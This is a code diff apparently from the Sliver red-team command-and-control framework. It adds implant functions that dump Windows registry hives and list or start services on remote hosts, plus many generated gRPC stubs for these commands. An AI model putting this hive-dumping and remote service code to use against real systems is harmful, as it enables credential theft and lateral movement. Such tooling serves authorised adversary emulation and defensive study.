err = syscalls.RegSaveKeyW(windows.Handle(*hiveHandle), tempFileNamePtr, nil)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Could not save %s\\%s to %s: %v", requestedRootHive, requestedHive, tempFileName, err)
// {{end}}
return nil, err
}
data, err := os.ReadFile(tempFileName)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Could not open temp file: %v", err)
// {{end}}
return nil, err
}
err = os.Remove(tempFileName)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Could not delete temp file: %v", err)
// {{end}}
// No reason to throw away the data if we cannot delete the file
return data, err
}
return data, nil
}
+162
View File
@@ -20,13 +20,22 @@ package service
import (
"fmt"
"strings"
"time"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"golang.org/x/sys/windows"
"golang.org/x/sys/windows/svc"
"golang.org/x/sys/windows/svc/mgr"
)
const (
ReadOnlyServiceManagerPermissions = windows.SC_MANAGER_ENUMERATE_SERVICE
ReadOnlyServicePermissions = windows.SERVICE_QUERY_CONFIG | windows.SERVICE_QUERY_STATUS
ConnectServiceManagerPermissions = windows.SC_MANAGER_CONNECT
StartServiceAndVerifyPermissions = windows.SERVICE_START | windows.SERVICE_QUERY_STATUS
)
func StartService(hostname string, binPath string, arguments string, serviceName string, serviceDesc string) error {
manager, err := mgr.ConnectRemote(hostname)
if err != nil {
@@ -93,3 +102,156 @@ func RemoveService(hostname string, serviceName string) error {
err = service.Delete()
return err
}
/*
Currently, golang.org/x/sys/windows/svc/mgr attempts to open the service
manager with elevated permissions: https://github.com/golang/go/issues/51465
https://github.com/golang/sys/blob/master/windows/svc/mgr/mgr.go#L34
We should not need elevated privileges to list services, so we will have to
define a custom service manager that asks for lower rights.
Similarly, we need a custom OpenService function that does not ask for
elevated rights so we can get the status and config of the service.
*/
func connectToServiceManager(hostname string, permissions uint32) (*mgr.Mgr, error) {
/*
According to Win32 API docs, if the machine name passed to OpenSCManager
is NULL or empty, a connection will be opened to the local machine
https://learn.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-openscmanagera
*/
connectHost := windows.StringToUTF16Ptr(hostname)
handle, err := windows.OpenSCManager(connectHost, nil, permissions)
if err != nil {
return nil, err
}
return &mgr.Mgr{Handle: handle}, nil
}
func openService(svcManager *mgr.Mgr, serviceName string, permissions uint32) (*mgr.Service, error) {
handle, err := windows.OpenService(svcManager.Handle, windows.StringToUTF16Ptr(serviceName), permissions)
if err != nil {
return nil, err
}
return &mgr.Service{Name: serviceName, Handle: handle}, nil
}
func buildServiceDetail(serviceName string, config mgr.Config) *sliverpb.ServiceDetails {
detail := &sliverpb.ServiceDetails{Name: serviceName}
detail.DisplayName = config.DisplayName
detail.Description = config.Description
detail.StartupType = config.StartType
detail.BinPath = config.BinaryPathName
detail.Account = config.ServiceStartName
// Will hopefully be filled in later
detail.Status = 0
return detail
}
func ListServices(hostName string) ([]*sliverpb.ServiceDetails, error) {
var servicesList []*sliverpb.ServiceDetails
var serviceErrors []string
var operationError error
manager, err := connectToServiceManager(hostName, ReadOnlyServiceManagerPermissions)
if err != nil {
return nil, err
}
defer manager.Disconnect()
services, err := manager.ListServices()
if err != nil {
return nil, err
}
for _, serviceName := range services {
serviceHandle, err := openService(manager, serviceName, ReadOnlyServicePermissions)
if err != nil {
serviceErrors = append(serviceErrors, fmt.Sprintf("%s: %s", serviceName, err.Error()))
continue
}
serviceConfig, err := serviceHandle.Config()
if err != nil {
serviceErrors = append(serviceErrors, fmt.Sprintf("%s: %s", serviceName, err.Error()))
continue
}
serviceInfo := buildServiceDetail(serviceName, serviceConfig)
serviceStatus, err := serviceHandle.Query()
if err != nil {
serviceErrors = append(serviceErrors, err.Error())
servicesList = append(servicesList, serviceInfo)
continue
}
serviceInfo.Status = uint32(serviceStatus.State)
servicesList = append(servicesList, serviceInfo)
}
if len(serviceErrors) > 0 {
operationError = fmt.Errorf("%s", strings.Join(serviceErrors, "\n"))
} else {
operationError = nil
}
return servicesList, operationError
}
func GetServiceDetail(hostName string, serviceName string) (*sliverpb.ServiceDetails, error) {
manager, err := connectToServiceManager(hostName, ReadOnlyServiceManagerPermissions)
if err != nil {
return nil, err
}
defer manager.Disconnect()
serviceHandle, err := openService(manager, serviceName, ReadOnlyServicePermissions)
if err != nil {
return nil, err
}
serviceConfig, err := serviceHandle.Config()
if err != nil {
return nil, err
}
serviceDetail := buildServiceDetail(serviceName, serviceConfig)
serviceStatus, err := serviceHandle.Query()
if err != nil {
serviceDetail.Status = 0
// Even though we encountered an error, it was not fatal (we still got some information about the service)
return serviceDetail, fmt.Errorf("Unknown (could not retrieve: %s)", err.Error())
}
serviceDetail.Status = uint32(serviceStatus.State)
return serviceDetail, nil
}
func StartServiceByName(hostName string, serviceName string) error {
manager, err := connectToServiceManager(hostName, ConnectServiceManagerPermissions)
if err != nil {
return err
}
serviceHandle, err := openService(manager, serviceName, StartServiceAndVerifyPermissions)
if err != nil {
return err
}
err = serviceHandle.Start()
if err != nil {
return err
}
timeout := time.Now().Add(10 * time.Second)
status, err := serviceHandle.Query()
if err != nil {
return fmt.Errorf("could not retrieve service status: %v", err)
}
for status.State != svc.Running {
if timeout.Before(time.Now()) {
return fmt.Errorf("timeout waiting for service to go to state=%d", svc.Running)
}
time.Sleep(300 * time.Millisecond)
status, err = serviceHandle.Query()
if err != nil {
return fmt.Errorf("could not retrieve service status: %v", err)
}
}
return nil
}
+1
View File
@@ -598,6 +598,7 @@ func sessionMainLoop(connection *transports.Connection) error {
rportfwdHandlers := handlers.GetRportFwdHandlers()
for envelope := range connection.Recv {
envelope := envelope
if _, ok := specialHandlers[envelope.Type]; ok {
// {{if .Config.Debug}}
log.Printf("[recv] specialHandler %d", envelope.Type)
@@ -46,3 +46,4 @@ package syscalls
//sys LookupPrivilegeDisplayNameW(systemName string, privilegeName *uint16, buffer *uint16, size *uint32, languageId *uint32) (err error) = advapi32.LookupPrivilegeDisplayNameW
//sys Module32FirstW(hSnapshot windows.Handle, lpme *MODULEENTRY32W) (err error) = kernel32.Module32FirstW
//sys RegSaveKeyW(hKey windows.Handle, lpFile *uint16, lpSecurityAttributes *windows.SecurityAttributes) (err error) = advapi32.RegSaveKeyW
@@ -67,6 +67,7 @@ var (
procLogonUserW = modadvapi32.NewProc("LogonUserW")
procLookupPrivilegeDisplayNameW = modadvapi32.NewProc("LookupPrivilegeDisplayNameW")
procLookupPrivilegeNameW = modadvapi32.NewProc("LookupPrivilegeNameW")
procRegSaveKeyW = modadvapi32.NewProc("RegSaveKeyW")
procCreateProcessW = modkernel32.NewProc("CreateProcessW")
procCreateRemoteThread = modkernel32.NewProc("CreateRemoteThread")
procCreateThread = modkernel32.NewProc("CreateThread")
@@ -281,6 +282,14 @@ func _LookupPrivilegeNameW(systemName *uint16, luid *uint64, buffer *uint16, siz
return
}
func RegSaveKeyW(hKey windows.Handle, lpFile *uint16, lpSecurityAttributes *windows.SecurityAttributes) (err error) {
r1, _, e1 := syscall.Syscall(procRegSaveKeyW.Addr(), 3, uintptr(hKey), uintptr(unsafe.Pointer(lpFile)), uintptr(unsafe.Pointer(lpSecurityAttributes)))
if r1 != 0 {
err = errnoErr(e1)
}
return
}
func CreateProcess(appName *uint16, commandLine *uint16, procSecurity *windows.SecurityAttributes, threadSecurity *windows.SecurityAttributes, inheritHandles bool, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) {
var _p0 uint32
if inheritHandles {
File diff suppressed because it is too large. Load diff
+8
View File
@@ -54,6 +54,7 @@ message Session {
int64 PeerID = 25;
string Locale = 26;
int64 FirstContact = 27;
string Integrity = 28;
}
message Beacon {
@@ -88,6 +89,8 @@ message Beacon {
string Locale = 28;
int64 FirstContact = 29;
string Integrity = 30;
}
message Beacons { repeated Beacon Beacons = 2; }
@@ -109,6 +112,11 @@ message BeaconTasks {
repeated BeaconTask Tasks = 2;
}
message BeaconIntegrity {
string BeaconID = 1;
string Integrity = 2;
}
message ImplantC2 {
string ID = 1;
uint32 Priority = 2;
File diff suppressed because it is too large. Load diff
+6
View File
@@ -46,6 +46,7 @@ service SliverRPC {
rpc GetBeaconTasks(clientpb.Beacon) returns (clientpb.BeaconTasks);
rpc GetBeaconTaskContent(clientpb.BeaconTask) returns (clientpb.BeaconTask);
rpc CancelBeaconTask(clientpb.BeaconTask) returns (clientpb.BeaconTask);
rpc UpdateBeaconIntegrityInformation(clientpb.BeaconIntegrity) returns (commonpb.Empty);
// *** Jobs ***
@@ -176,6 +177,7 @@ service SliverRPC {
rpc MemfilesList(sliverpb.MemfilesListReq) returns (sliverpb.Ls);
rpc MemfilesAdd(sliverpb.MemfilesAddReq) returns (sliverpb.MemfilesAdd);
rpc MemfilesRm(sliverpb.MemfilesRmReq) returns (sliverpb.MemfilesRm);
rpc Mount(sliverpb.MountReq) returns (sliverpb.Mount);
rpc ProcessDump(sliverpb.ProcessDumpReq) returns (sliverpb.ProcessDump);
rpc RunAs(sliverpb.RunAsReq) returns (sliverpb.RunAs);
rpc Impersonate(sliverpb.ImpersonateReq) returns (sliverpb.Impersonate);
@@ -194,6 +196,9 @@ service SliverRPC {
rpc Screenshot(sliverpb.ScreenshotReq) returns (sliverpb.Screenshot);
rpc CurrentTokenOwner(sliverpb.CurrentTokenOwnerReq)
returns (sliverpb.CurrentTokenOwner);
rpc Services(sliverpb.ServicesReq) returns (sliverpb.Services);
rpc ServiceDetail(sliverpb.ServiceDetailReq) returns (sliverpb.ServiceDetail);
rpc StartServiceByName(sliverpb.StartServiceByNameReq) returns (sliverpb.ServiceInfo);
// *** Pivots ***
rpc PivotStartListener(sliverpb.PivotStartListenerReq)
@@ -222,6 +227,7 @@ service SliverRPC {
returns (sliverpb.RegistrySubKeyList);
rpc RegistryListValues(sliverpb.RegistryListValuesReq)
returns (sliverpb.RegistryValuesList);
rpc RegistryReadHive(sliverpb.RegistryReadHiveReq) returns (sliverpb.RegistryReadHive);
rpc RunSSHCommand(sliverpb.SSHCommandReq) returns (sliverpb.SSHCommand);
rpc HijackDLL(clientpb.DllHijackReq) returns (clientpb.DllHijack);
rpc GetPrivs(sliverpb.GetPrivsReq) returns (sliverpb.GetPrivs);
+216
View File
@@ -56,6 +56,7 @@ type SliverRPCClient interface {
GetBeaconTasks(ctx context.Context, in *clientpb.Beacon, opts ...grpc.CallOption) (*clientpb.BeaconTasks, error)
GetBeaconTaskContent(ctx context.Context, in *clientpb.BeaconTask, opts ...grpc.CallOption) (*clientpb.BeaconTask, error)
CancelBeaconTask(ctx context.Context, in *clientpb.BeaconTask, opts ...grpc.CallOption) (*clientpb.BeaconTask, error)
UpdateBeaconIntegrityInformation(ctx context.Context, in *clientpb.BeaconIntegrity, opts ...grpc.CallOption) (*commonpb.Empty, error)
// *** Jobs ***
GetJobs(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Jobs, error)
KillJob(ctx context.Context, in *clientpb.KillJobReq, opts ...grpc.CallOption) (*clientpb.KillJob, error)
@@ -157,6 +158,7 @@ type SliverRPCClient interface {
MemfilesList(ctx context.Context, in *sliverpb.MemfilesListReq, opts ...grpc.CallOption) (*sliverpb.Ls, error)
MemfilesAdd(ctx context.Context, in *sliverpb.MemfilesAddReq, opts ...grpc.CallOption) (*sliverpb.MemfilesAdd, error)
MemfilesRm(ctx context.Context, in *sliverpb.MemfilesRmReq, opts ...grpc.CallOption) (*sliverpb.MemfilesRm, error)
Mount(ctx context.Context, in *sliverpb.MountReq, opts ...grpc.CallOption) (*sliverpb.Mount, error)
ProcessDump(ctx context.Context, in *sliverpb.ProcessDumpReq, opts ...grpc.CallOption) (*sliverpb.ProcessDump, error)
RunAs(ctx context.Context, in *sliverpb.RunAsReq, opts ...grpc.CallOption) (*sliverpb.RunAs, error)
Impersonate(ctx context.Context, in *sliverpb.ImpersonateReq, opts ...grpc.CallOption) (*sliverpb.Impersonate, error)
@@ -173,6 +175,9 @@ type SliverRPCClient interface {
SpawnDll(ctx context.Context, in *sliverpb.InvokeSpawnDllReq, opts ...grpc.CallOption) (*sliverpb.SpawnDll, error)
Screenshot(ctx context.Context, in *sliverpb.ScreenshotReq, opts ...grpc.CallOption) (*sliverpb.Screenshot, error)
CurrentTokenOwner(ctx context.Context, in *sliverpb.CurrentTokenOwnerReq, opts ...grpc.CallOption) (*sliverpb.CurrentTokenOwner, error)
Services(ctx context.Context, in *sliverpb.ServicesReq, opts ...grpc.CallOption) (*sliverpb.Services, error)
ServiceDetail(ctx context.Context, in *sliverpb.ServiceDetailReq, opts ...grpc.CallOption) (*sliverpb.ServiceDetail, error)
StartServiceByName(ctx context.Context, in *sliverpb.StartServiceByNameReq, opts ...grpc.CallOption) (*sliverpb.ServiceInfo, error)
// *** Pivots ***
PivotStartListener(ctx context.Context, in *sliverpb.PivotStartListenerReq, opts ...grpc.CallOption) (*sliverpb.PivotListener, error)
PivotStopListener(ctx context.Context, in *sliverpb.PivotStopListenerReq, opts ...grpc.CallOption) (*commonpb.Empty, error)
@@ -192,6 +197,7 @@ type SliverRPCClient interface {
RegistryDeleteKey(ctx context.Context, in *sliverpb.RegistryDeleteKeyReq, opts ...grpc.CallOption) (*sliverpb.RegistryDeleteKey, error)
RegistryListSubKeys(ctx context.Context, in *sliverpb.RegistrySubKeyListReq, opts ...grpc.CallOption) (*sliverpb.RegistrySubKeyList, error)
RegistryListValues(ctx context.Context, in *sliverpb.RegistryListValuesReq, opts ...grpc.CallOption) (*sliverpb.RegistryValuesList, error)
RegistryReadHive(ctx context.Context, in *sliverpb.RegistryReadHiveReq, opts ...grpc.CallOption) (*sliverpb.RegistryReadHive, error)
RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error)
HijackDLL(ctx context.Context, in *clientpb.DllHijackReq, opts ...grpc.CallOption) (*clientpb.DllHijack, error)
GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error)
@@ -471,6 +477,15 @@ func (c *sliverRPCClient) CancelBeaconTask(ctx context.Context, in *clientpb.Bea
return out, nil
}
func (c *sliverRPCClient) UpdateBeaconIntegrityInformation(ctx context.Context, in *clientpb.BeaconIntegrity, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/UpdateBeaconIntegrityInformation", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) GetJobs(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Jobs, error) {
out := new(clientpb.Jobs)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetJobs", in, out, opts...)
@@ -1318,6 +1333,15 @@ func (c *sliverRPCClient) MemfilesRm(ctx context.Context, in *sliverpb.MemfilesR
return out, nil
}
func (c *sliverRPCClient) Mount(ctx context.Context, in *sliverpb.MountReq, opts ...grpc.CallOption) (*sliverpb.Mount, error) {
out := new(sliverpb.Mount)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Mount", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) ProcessDump(ctx context.Context, in *sliverpb.ProcessDumpReq, opts ...grpc.CallOption) (*sliverpb.ProcessDump, error) {
out := new(sliverpb.ProcessDump)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ProcessDump", in, out, opts...)
@@ -1462,6 +1486,33 @@ func (c *sliverRPCClient) CurrentTokenOwner(ctx context.Context, in *sliverpb.Cu
return out, nil
}
func (c *sliverRPCClient) Services(ctx context.Context, in *sliverpb.ServicesReq, opts ...grpc.CallOption) (*sliverpb.Services, error) {
out := new(sliverpb.Services)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Services", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) ServiceDetail(ctx context.Context, in *sliverpb.ServiceDetailReq, opts ...grpc.CallOption) (*sliverpb.ServiceDetail, error) {
out := new(sliverpb.ServiceDetail)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ServiceDetail", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) StartServiceByName(ctx context.Context, in *sliverpb.StartServiceByNameReq, opts ...grpc.CallOption) (*sliverpb.ServiceInfo, error) {
out := new(sliverpb.ServiceInfo)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartServiceByName", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) PivotStartListener(ctx context.Context, in *sliverpb.PivotStartListenerReq, opts ...grpc.CallOption) (*sliverpb.PivotListener, error) {
out := new(sliverpb.PivotListener)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/PivotStartListener", in, out, opts...)
@@ -1624,6 +1675,15 @@ func (c *sliverRPCClient) RegistryListValues(ctx context.Context, in *sliverpb.R
return out, nil
}
func (c *sliverRPCClient) RegistryReadHive(ctx context.Context, in *sliverpb.RegistryReadHiveReq, opts ...grpc.CallOption) (*sliverpb.RegistryReadHive, error) {
out := new(sliverpb.RegistryReadHive)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryReadHive", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error) {
out := new(sliverpb.SSHCommand)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RunSSHCommand", in, out, opts...)
@@ -1987,6 +2047,7 @@ type SliverRPCServer interface {
GetBeaconTasks(context.Context, *clientpb.Beacon) (*clientpb.BeaconTasks, error)
GetBeaconTaskContent(context.Context, *clientpb.BeaconTask) (*clientpb.BeaconTask, error)
CancelBeaconTask(context.Context, *clientpb.BeaconTask) (*clientpb.BeaconTask, error)
UpdateBeaconIntegrityInformation(context.Context, *clientpb.BeaconIntegrity) (*commonpb.Empty, error)
// *** Jobs ***
GetJobs(context.Context, *commonpb.Empty) (*clientpb.Jobs, error)
KillJob(context.Context, *clientpb.KillJobReq) (*clientpb.KillJob, error)
@@ -2088,6 +2149,7 @@ type SliverRPCServer interface {
MemfilesList(context.Context, *sliverpb.MemfilesListReq) (*sliverpb.Ls, error)
MemfilesAdd(context.Context, *sliverpb.MemfilesAddReq) (*sliverpb.MemfilesAdd, error)
MemfilesRm(context.Context, *sliverpb.MemfilesRmReq) (*sliverpb.MemfilesRm, error)
Mount(context.Context, *sliverpb.MountReq) (*sliverpb.Mount, error)
ProcessDump(context.Context, *sliverpb.ProcessDumpReq) (*sliverpb.ProcessDump, error)
RunAs(context.Context, *sliverpb.RunAsReq) (*sliverpb.RunAs, error)
Impersonate(context.Context, *sliverpb.ImpersonateReq) (*sliverpb.Impersonate, error)
@@ -2104,6 +2166,9 @@ type SliverRPCServer interface {
SpawnDll(context.Context, *sliverpb.InvokeSpawnDllReq) (*sliverpb.SpawnDll, error)
Screenshot(context.Context, *sliverpb.ScreenshotReq) (*sliverpb.Screenshot, error)
CurrentTokenOwner(context.Context, *sliverpb.CurrentTokenOwnerReq) (*sliverpb.CurrentTokenOwner, error)
Services(context.Context, *sliverpb.ServicesReq) (*sliverpb.Services, error)
ServiceDetail(context.Context, *sliverpb.ServiceDetailReq) (*sliverpb.ServiceDetail, error)
StartServiceByName(context.Context, *sliverpb.StartServiceByNameReq) (*sliverpb.ServiceInfo, error)
// *** Pivots ***
PivotStartListener(context.Context, *sliverpb.PivotStartListenerReq) (*sliverpb.PivotListener, error)
PivotStopListener(context.Context, *sliverpb.PivotStopListenerReq) (*commonpb.Empty, error)
@@ -2123,6 +2188,7 @@ type SliverRPCServer interface {
RegistryDeleteKey(context.Context, *sliverpb.RegistryDeleteKeyReq) (*sliverpb.RegistryDeleteKey, error)
RegistryListSubKeys(context.Context, *sliverpb.RegistrySubKeyListReq) (*sliverpb.RegistrySubKeyList, error)
RegistryListValues(context.Context, *sliverpb.RegistryListValuesReq) (*sliverpb.RegistryValuesList, error)
RegistryReadHive(context.Context, *sliverpb.RegistryReadHiveReq) (*sliverpb.RegistryReadHive, error)
RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error)
HijackDLL(context.Context, *clientpb.DllHijackReq) (*clientpb.DllHijack, error)
GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error)
@@ -2236,6 +2302,9 @@ func (UnimplementedSliverRPCServer) GetBeaconTaskContent(context.Context, *clien
func (UnimplementedSliverRPCServer) CancelBeaconTask(context.Context, *clientpb.BeaconTask) (*clientpb.BeaconTask, error) {
return nil, status.Errorf(codes.Unimplemented, "method CancelBeaconTask not implemented")
}
func (UnimplementedSliverRPCServer) UpdateBeaconIntegrityInformation(context.Context, *clientpb.BeaconIntegrity) (*commonpb.Empty, error) {
return nil, status.Errorf(codes.Unimplemented, "method UpdateBeaconIntegrityInformation not implemented")
}
func (UnimplementedSliverRPCServer) GetJobs(context.Context, *commonpb.Empty) (*clientpb.Jobs, error) {
return nil, status.Errorf(codes.Unimplemented, "method GetJobs not implemented")
}
@@ -2503,6 +2572,9 @@ func (UnimplementedSliverRPCServer) MemfilesAdd(context.Context, *sliverpb.Memfi
func (UnimplementedSliverRPCServer) MemfilesRm(context.Context, *sliverpb.MemfilesRmReq) (*sliverpb.MemfilesRm, error) {
return nil, status.Errorf(codes.Unimplemented, "method MemfilesRm not implemented")
}
func (UnimplementedSliverRPCServer) Mount(context.Context, *sliverpb.MountReq) (*sliverpb.Mount, error) {
return nil, status.Errorf(codes.Unimplemented, "method Mount not implemented")
}
func (UnimplementedSliverRPCServer) ProcessDump(context.Context, *sliverpb.ProcessDumpReq) (*sliverpb.ProcessDump, error) {
return nil, status.Errorf(codes.Unimplemented, "method ProcessDump not implemented")
}
@@ -2551,6 +2623,15 @@ func (UnimplementedSliverRPCServer) Screenshot(context.Context, *sliverpb.Screen
func (UnimplementedSliverRPCServer) CurrentTokenOwner(context.Context, *sliverpb.CurrentTokenOwnerReq) (*sliverpb.CurrentTokenOwner, error) {
return nil, status.Errorf(codes.Unimplemented, "method CurrentTokenOwner not implemented")
}
func (UnimplementedSliverRPCServer) Services(context.Context, *sliverpb.ServicesReq) (*sliverpb.Services, error) {
return nil, status.Errorf(codes.Unimplemented, "method Services not implemented")
}
func (UnimplementedSliverRPCServer) ServiceDetail(context.Context, *sliverpb.ServiceDetailReq) (*sliverpb.ServiceDetail, error) {
return nil, status.Errorf(codes.Unimplemented, "method ServiceDetail not implemented")
}
func (UnimplementedSliverRPCServer) StartServiceByName(context.Context, *sliverpb.StartServiceByNameReq) (*sliverpb.ServiceInfo, error) {
return nil, status.Errorf(codes.Unimplemented, "method StartServiceByName not implemented")
}
func (UnimplementedSliverRPCServer) PivotStartListener(context.Context, *sliverpb.PivotStartListenerReq) (*sliverpb.PivotListener, error) {
return nil, status.Errorf(codes.Unimplemented, "method PivotStartListener not implemented")
}
@@ -2605,6 +2686,9 @@ func (UnimplementedSliverRPCServer) RegistryListSubKeys(context.Context, *sliver
func (UnimplementedSliverRPCServer) RegistryListValues(context.Context, *sliverpb.RegistryListValuesReq) (*sliverpb.RegistryValuesList, error) {
return nil, status.Errorf(codes.Unimplemented, "method RegistryListValues not implemented")
}
func (UnimplementedSliverRPCServer) RegistryReadHive(context.Context, *sliverpb.RegistryReadHiveReq) (*sliverpb.RegistryReadHive, error) {
return nil, status.Errorf(codes.Unimplemented, "method RegistryReadHive not implemented")
}
func (UnimplementedSliverRPCServer) RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error) {
return nil, status.Errorf(codes.Unimplemented, "method RunSSHCommand not implemented")
}
@@ -3127,6 +3211,24 @@ func _SliverRPC_CancelBeaconTask_Handler(srv interface{}, ctx context.Context, d
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_UpdateBeaconIntegrityInformation_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(clientpb.BeaconIntegrity)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).UpdateBeaconIntegrityInformation(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/UpdateBeaconIntegrityInformation",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).UpdateBeaconIntegrityInformation(ctx, req.(*clientpb.BeaconIntegrity))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_GetJobs_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(commonpb.Empty)
if err := dec(in); err != nil {
@@ -4735,6 +4837,24 @@ func _SliverRPC_MemfilesRm_Handler(srv interface{}, ctx context.Context, dec fun
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_Mount_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.MountReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).Mount(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/Mount",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Mount(ctx, req.(*sliverpb.MountReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_ProcessDump_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.ProcessDumpReq)
if err := dec(in); err != nil {
@@ -5023,6 +5143,60 @@ func _SliverRPC_CurrentTokenOwner_Handler(srv interface{}, ctx context.Context,
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_Services_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.ServicesReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).Services(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/Services",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Services(ctx, req.(*sliverpb.ServicesReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_ServiceDetail_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.ServiceDetailReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).ServiceDetail(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/ServiceDetail",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).ServiceDetail(ctx, req.(*sliverpb.ServiceDetailReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_StartServiceByName_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.StartServiceByNameReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).StartServiceByName(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/StartServiceByName",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).StartServiceByName(ctx, req.(*sliverpb.StartServiceByNameReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_PivotStartListener_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.PivotStartListenerReq)
if err := dec(in); err != nil {
@@ -5347,6 +5521,24 @@ func _SliverRPC_RegistryListValues_Handler(srv interface{}, ctx context.Context,
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_RegistryReadHive_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.RegistryReadHiveReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).RegistryReadHive(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/RegistryReadHive",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).RegistryReadHive(ctx, req.(*sliverpb.RegistryReadHiveReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_RunSSHCommand_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.SSHCommandReq)
if err := dec(in); err != nil {
@@ -5983,6 +6175,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "CancelBeaconTask",
Handler: _SliverRPC_CancelBeaconTask_Handler,
},
{
MethodName: "UpdateBeaconIntegrityInformation",
Handler: _SliverRPC_UpdateBeaconIntegrityInformation_Handler,
},
{
MethodName: "GetJobs",
Handler: _SliverRPC_GetJobs_Handler,
@@ -6331,6 +6527,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "MemfilesRm",
Handler: _SliverRPC_MemfilesRm_Handler,
},
{
MethodName: "Mount",
Handler: _SliverRPC_Mount_Handler,
},
{
MethodName: "ProcessDump",
